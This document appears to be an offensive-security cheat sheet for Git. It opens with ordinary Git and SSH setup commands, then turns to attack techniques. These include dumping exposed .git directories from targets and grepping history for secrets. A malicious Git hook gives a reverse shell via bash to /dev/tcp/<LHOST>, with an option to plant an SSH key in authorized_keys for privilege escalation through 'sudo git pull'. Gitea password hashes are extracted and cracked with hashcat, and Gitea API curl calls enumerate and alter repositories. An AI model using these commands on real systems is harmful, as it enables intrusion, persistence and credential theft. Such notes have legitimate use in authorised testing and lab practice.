Git

## ------------------| Initialize Repository and Upload to GitHub
git init                     # Initialize a new Git repository.
git add .                    # Stage all files for commit.
git commit -m "message"      # Commit changes with a message.
git remote add origin <URL>  # Add a remote repository (replace <URL>).
git branch -M main           # Set the default branch to main.
git push -u origin main      # Push to the main branch for the first time.

## ------------------| Viewing Commit History
git log -p                   # Show commit history with diffs.
git show <HASH>              # Show details of a specific commit.
git reflog                   # Show a history of all changes to the HEAD.
git reset --hard             # Reset the working directory to the latest commit, discarding all local changes.
git diff <HASH>              # Show changes introduced by a specific commit.

## ------------------| Basic Git Commands
git clone <repo>             # Clone a repository
git add <file>               # Stage a file for commit ( use . for add all files)
git status                   # Show the status of the working directory
git log                      # View commit history
git diff                     # Show unstaged changes

## ------------------| Branching & Merging
git branch                   # List branches
git branch <name>            # Create a new branch
git checkout <branch>        # Switch to a branch
git merge <branch>           # Merge a branch into the current branch
git branch -d <branch>       # Delete a branch
git stash                    # Save changes for later
git stash pop                # Apply stashed changes

## ------------------| Remote Repositories
git remote -v                # Show remote repositories
git remote add <name> <URL>  # Add a new remote repository
git push                     # Push changes to the remote repository
git pull                     # Fetch and merge changes from the remote repository
git fetch                    # Fetch changes without merging
git remote remove <name>     # Remove a remote repository

## ------------------| Inspecting & Undoing
git reset --hard <commit>    # Reset to a specific commit
git revert <commit>          # Create a new commit to undo a previous commit
git clean -f                 # Remove untracked files
git reflog                   # Show the history of branch updates
git checkout <commit>        # Switch to a specific commit
git rm <file>                # Remove a file from the repository

## ------------------| Advanced Commands
git log --oneline            # Short commit history
git diff --staged            # Show staged changes
git cherry-pick <commit>     # Apply a specific commit
git bisect start             # Start a binary search to find a bug
git rebase <branch>          # Reapply commits on top of another base
git blame <file>             # Show who changed each line of a file
git tag <name>               # Create a tag for a specific commit
git archive <branch>         # Create an archive of the repository
git push --set-upstream origin <BranchName>  # Set the upstream branch and push changes.

## ------------------| Miscellaneous
git gc                       # Cleanup unnecessary files
git fsck                     # Check for repository corruption
git shortlog                 # Summarize git log
git describe                 # Describe a commit using tags
git show <commit>            # Show details about a specific commit
git diff-tree <commit>       # Show changes in a commit

ssh-keygen -t ed25519 -C "[email protected]" -f ~/.ssh/gitHub    # Generate a new SSH key for GitHub
eval "$(ssh-agent -s)"                                           # Start the SSH agent
git config --global user.email "[email protected]"              # Configure Git user email
git config --global user.name "h4rithd"                          # Configure Git username
ssh-add ~/.ssh/gitHub                                            # [Linux] Add SSH private key to the agent
# ssh-add --apple-use-keychain ~/.ssh/gitHub                     # Mac only

### Add SSH configuration for GitHub (optional)
# ~/.ssh/config file
Host github.com
    AddKeysToAgent yes
    Port 443
    Hostname ssh.github.com
    IdentityFile ~/.ssh/gitHub

# Visit https://github.com/settings/keys and add the gitHub.pub file as a new SSH key.

## ------------------| Git secrets finders
## https://github.com/techjacker/repo-security-scanner
git log -p | scanrepo

## ------------------| Find sensitive information in git
git grep -Iin --color=always -E "(password|passwd|pwd|token|secret|key|apikey|api_key|private_key|authorization|auth_token)" $(git rev-list --all) 2>/dev/null
git grep -Iin --color=always -E "(password|passwd|pwd)" $(git rev-list --all) 2>/dev/null

## ------------------| Show changes between staged files and the last commit
git status
git diff --cached <file>

## ------------------| Manual method
wget -r -np https://<URL>/.git
git --git-dir=<path_to_bare_repo.git> archive HEAD | tar -x -C <destination_dir>

## ------------------| git-dumper
pip install git-dumper
git-dumper http://target.tld/.git/ dest-dir

## ------------------| sudo git pull
## put shell in
vi .git/hooks/post-merge
chmod +x .git/hooks/post-merge

## ------------------| Genarate SSH Key
ssh-keygen -t ed25519 -f mykey
cat mykey.pub

## ------------------| Create hook file (.git/hooks/post-commit)
#!/bin/sh

bash -c 'bash -i >& /dev/tcp/<LHOST>/4545 0>&1'
## or
#mkdir -p /home/<USER>/.ssh/
#printf "\n<mykey.pub>\n" >> /home/<USER>/.ssh/authorized_keys
#chmod 600 /home/<USER>/authorized_key

## ------------------| Set permission
chmod +x post-commit

## ------------------| Finder
python3 gitfinder.py -i urllist.txt

## ------------------| Dumper
./gitdumper.sh http://target.tld/.git/ dest-dir

## ------------------| Extractor
./extractor.sh source-dir destination-dir

## ------------------| Config path
/gitea.db
/conf/app.ini
/home/.gitconfig
/jwt/private.pem
/custom/conf/app.ini
/data/gitea/app.ini
/data/gitea/gitea.db
/data/gitea/conf/app.ini
/data/gitea/home/.gitconfig
/data/gitea/jwt/private.pem

## ------------------| Crack Password
wget https://gist.githubusercontent.com/h4rithd/0c5da36a0274904cafb84871cf14e271/raw/f109d178edbe756f15060244d735181278c9b57e/gitea2hashcat.py
python3 gitea2hashcat.py gitea.db > hashes.txt
hashcat hashes.txt /usr/share/wordlists/rockyou.txt --user

## ------------------| List Repos
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/user/repos" | jq -r '.[].full_name'

## ------------------| Download Repo (archive)
curl -L -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/archive/main.zip" -o repo.zip

## ------------------| List All Repos (including private accessible)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/search?limit=50"

## ------------------| Get Single Repo Details
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}"

## ------------------| List Org Repos (sometimes “hidden” to normal users)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/orgs/{org}/repos"

## ------------------| List Repo Contents (files)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/"

## ------------------| Download File from Repo
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/{path}" | jq -r '.content' | base64 -d

## ------------------| Upload File to Repo (create file)
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"content":"BASE64_ENCODED_CONTENT","message":"add file"}' "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| Edit/Update File in Repo
curl -X PUT -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"content":"BASE64_NEW_CONTENT","message":"update file","sha":"FILE_SHA"}' "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| Delete File from Repo
curl -X DELETE -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"message":"delete file","sha":"FILE_SHA"}' "http://<IP>:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| List Commits
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/commits"

## ------------------| List Branches
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/branches"

## ------------------| Create Repo
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"name":"test-repo","private":true}' "http://<IP>:3000/api/v1/user/repos"

## ------------------| Delete Repo
curl -X DELETE -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}"

## ------------------| Fork Repo
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/forks"

## ------------------| List Issues
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/issues"

## ------------------| List Pull Requests
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/repos/{owner}/{repo}/pulls"

## ------------------| Current User Info
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/user"

## ------------------| List User Orgs
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://<IP>:3000/api/v1/user/orgs"